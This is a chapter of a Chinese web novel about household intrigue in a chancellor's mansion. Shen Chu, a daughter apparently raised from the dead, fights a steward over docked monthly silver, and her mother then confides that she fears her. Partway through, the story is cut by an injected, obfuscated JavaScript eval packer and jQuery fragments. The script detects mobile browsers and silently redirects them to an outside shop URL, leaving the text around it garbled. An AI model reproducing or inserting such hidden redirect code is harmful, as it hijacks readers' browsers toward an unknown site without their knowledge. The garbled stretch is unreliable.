话音未落,沈初便起身,径直朝院外而去。
走到顾夫人居住的依兰苑,沈初刚要进去,就被人拦了下来。
“二姑娘!”
拦在院门前的人,正是顾夫人身边的大丫鬟凤心。
她向沈初行了礼,满脸笑意。
沈初道:“我来给母亲请安。”
“那可真是不巧。”凤心笑容不减:“夫人她不在院中。”
沈初笑问:“这一早,母亲去哪了?”
凤心回话:“婢子也不清楚。”
“姐姐可是夫人最倚重的大丫鬟,怎会不清楚夫人去了何处?”
冬桃忍不住质问。
凤心瞥一眼冬桃,没说话,转眸笑着看向沈初。
“二姑娘,您晚会再来吧。”
沈初盯着她,须臾后,垂眸浅笑。
“既如此,我便等着母亲传唤。”
听闻此言,凤心神情微怔,再回神时,沈初已带着冬桃走远。
“姑娘,要不咱们在这守着?”
冬桃见沈初没反应,快走几步拦住她。
“姑娘!请不到夫人,那魏婆子能听我们的?”
沈初冷笑:“母亲根本不会见我。咱们只能逼她自个出来!”
紧接着,她又道:“叫上咱院里的人,一起去找魏妈妈要人!”
“姑娘,我这就去!”
冬桃顿时来了精神,转身就往凝芳院跑。
沈初带人走进账房院子。
廊下,魏妈妈悠然坐着饮茶,一派闲适。
庭院中央,春杏直直跪在烈日下。
将近正午的日头毒辣刺眼,虽已入秋,依旧灼得人头晕,她脸色发白,身子早已昏沉发软。
“魏妈妈!”
沈初快步上前,立在春杏身前,恰好替她挡住当头烈日。
“二姑娘,婢子有伤在身,恕不能起身行礼。”
魏妈妈放下茶盏,颔首行了个礼。
沈初:“我来领月例银子。”
魏妈妈一怔,原想着她要为春杏出头,却没想到,这一开口只要月银。
怕是在夫人处碰了壁,再不敢嚣张了!
“去,给二姑娘把月银拿来。”魏妈妈瞥一眼身边小丫鬟。
小丫鬟扭头进了账房,就将一个锦袋,递到沈初面前。
沈初接过,打开锦袋,倒出银两,浅浅一数,果然只有一两银子。
“魏妈妈,这月银不对吧?”
魏妈妈抿下一口茶,头也不抬道:“二姑娘,您的月银不一直都是一两?”
春杏登时抬头,瞪着魏妈妈:“昨日相爷都说了,姑娘病已痊愈,以后与府中其她姑娘无差。你怎么敢克扣姑娘月银?”
魏妈妈并不理会春杏。
她皮笑肉不笑道:“府里姑娘法定份例确实均等,三姑娘、四姑娘多出来的,是夫人私下给的应酬贴补,不在家规定例之内。二位姑娘时常外出赴宴、交际应酬,添置衣饰、打点人情处处要花销,夫人体恤,才格外添补。
二姑娘常年多病,不曾学习女红等技艺,京中贵女也不认识您,没有赴宴应酬,花销甚少,夫人便是这个意思,故而月银照旧。”
这话的偏心直白刺耳。
春杏与冬桃气得满脸通红,正要争辩,被沈初抬手拦下。
沈初缓缓抬眼,眼神清冷:“府中姑娘份例均等,是家规定例。若厚此薄彼,那府中的规矩,岂不成了摆设?”
她又道:“再说,你口口声声说是母亲的意思。那母亲的原话是什么?”
“这……夫人她……”
魏妈妈脸上的笑瞬间僵住,支吾半天说不出话。
沈初早料到,顾夫人只会暗中示意,不会明着扣她月银。
出身世家的顾夫人最重脸面,哪怕心存偏私,也绝不肯落下苛待亲女的话柄。
她冷嗤一声:“母亲怎会苛待亲生女儿?分明是你昨日因我受罚,怀恨在心,借机刁难!”
“二姑娘!”魏妈妈猛地起身,高声辩解,“老奴是夫人陪嫁,岂容您凭空诬陷!”
沈初上下打量,忽而冷笑:“若没记错,魏妈妈昨日可是挨了十个板子,今儿竟然还能站起来?”
“老……老奴身体硬朗……好得快!”魏妈妈神色一僵,话回的也有些心虚。
春杏站起身,指着魏妈妈,冷声道:“二姑娘,魏妈妈腿脚麻利得很,还一脚踹倒了婢子。打板子的小厮,正是她远房侄子,定是徇私放水!”
“你个小贱蹄子,胆敢污蔑老奴!”
魏妈妈在府上作威作福惯了,何时受过这等当众被揭穿的指责?
她一时气急败坏,径直扑向春杏,扬手就要扇巴掌。
“来人,摁住她!”
沈初一声令下,身后三四个婆子就冲了上来。
她们都曾被魏妈妈刁难打压,这才会被打发到凝芳院。
人人心中积满怨气,自是不会对仇人手软。
“哎呦!”魏妈妈被摁倒在地,杀猪般嚎叫:“你们这些天杀的玩意!”
沈初揣着手,居高临下盯着魏妈妈,声音冷若刀刃:“你倚老卖老,挑唆主家关系,还敢违抗相爷之命,私逃惩罚,全无敬主之心!”
魏妈妈冷汗岑岑,心惊胆颤,若照沈初所言,她便是被打死也不为过。
“老奴是顾夫人的人!”她还在嘴硬叫嚣:“没有夫人允许,就算你是主子姑娘也动不得!”
沈初冷笑:“母亲向来公允,自不会出面。咱们去父亲跟前,让他老人家来断一断!”
话毕,魏妈妈就被提了起来。
她早已吓得浑身瘫软,任人拖着朝院外去。
“二姑娘,且慢!”
来人是凤心,身后还跟着位妇人。
她二人向沈初行了礼。
沈初朝那妇人颔首,浅笑:“孔妈妈安好。”
孔妈妈与魏妈妈同为顾夫人陪嫁。
但她从小陪同顾夫人长大,关系自然比魏妈妈更亲密。
孔妈妈微笑:“二姑娘,相爷公务繁忙,何必因琐事叨扰他。”
在相府内宅,魏妈妈是狐假虎威,但孔妈妈却真真代表的是顾夫人。
“孔姐姐,快救救妹妹!”魏妈妈哭诉:“妹妹可都是按照夫……”
“住口!”孔妈妈变了脸色,厉声呵斥:“夫人何时说过,让你克扣二姑娘月银?”
魏妈妈被震住,满脸错愕。
孔妈妈皱眉:“正如二姑娘所言,你以下犯上,挑拨是非,逃避惩罚,合该将你发卖了去!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968771|214615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
魏妈妈彻底瘫软在地,明白自己已沦为弃子。
孔妈妈抿抿嘴,再看向沈初时,满脸笑意:“二姑娘,这魏婆子毕竟是夫人从母家带回的老人,发卖或是打死都难免落人口实。不若,将她打发到城外庄子上做苦力。姑娘觉得如何?”
沈初垂下眼,没说话。
看她这样子,似是并不情愿,但也没否决。
必然是一些目的还未达成。
孔妈妈了然,笑道:“夫人说,月银的事委屈了您。以前是因您病着,既然病已痊愈,月银也同另两位姑娘一样。”
沈初抬眸,莞尔一笑:“她即是母亲的人,自是由母亲做主,做女儿的又怎敢置喙?”
顾夫人需要好名声,她沈初也要顾及。
如若她不懂退让,必然会落个忤逆生母的名头。
孔妈妈微怔,想起一年前,沈初因温妈妈之死,在依兰苑哭嚎失态,和如今步步为营的模样判若两人。
凤心双手奉上一个锦袋,里面刚好是二两银子。
沈初接过,交给春杏,满意地朝孔妈妈微微颔首,径直离开。
回到依兰苑,孔妈妈向顾夫人回话。
顾夫人惊诧:“她会如此?”
孔妈妈回:“老奴看着确实与一年前不同。”
顾夫人半晌未言,垂着眼不知再想些什么。
孔妈妈见状,劝道:“夫人,二姑娘毕竟是您亲生。何不如,与她重修母女之情?”
顾夫人猛然抬眸,似是没听到孔妈妈适才的话,问了另外一个问题。
“你刚说,她像变了一个人?”
孔妈妈怔了怔,回答:“是。”
顾夫人蹙眉:“一年前,阿初明明自戕而亡,相爷却秘不发丧。寻来个术士,竟将她死而复生!”
沈初虽是她亲生,但未教养其长大。
若说感情,自是比不上,她亲自抚养的四姑娘沈熹。
往昔,她嫌弃沈初多病,如今,她是有点……怕。
“你说,她会不会是被鬼上身了!”
孔妈妈道:“怎么会?夫人,您想多了。”
“可你也瞧见了。”顾夫人攥紧手中绢帕:“自昨日她醒来,就像个讨债的恶鬼,似是这府上的人,没有一个对得起她!”
当听到顾夫人,形容亲女为“恶鬼”,纵然是孔妈妈,也不知该如何开口劝解。
“我是一见到她,心里直发慌。”顾夫人轻抚胸口,愁眉不展:“若是影响到阿熹,可如何是好?”
垂眸想了片刻,她又道:“她在府中,我终究是不安心。”
“夫人的意思是?”孔妈妈递上一盏茶问。
顾夫人接过茶盏,看着碧绿的茶水,吩咐一句:“相爷回府,请他过来一趟。”
午时,顾夫人备下一桌饭菜,沈世坤刚回府就被请到依兰苑。
顾夫人提到沈初。
“相爷,阿初回来后,像变了一个人。”
沈世坤没说话,依然夹菜吃饭,却看了顾夫人一眼,示意她继续说。
顾夫人蹙眉:“昨日家宴,她闹着要坐主位。今日,她又因月银大闹一场。以前还勉强温顺知礼,现在却粗鄙无礼、斤斤计较。”
“夫人!”
沈世坤猛然撂下筷子。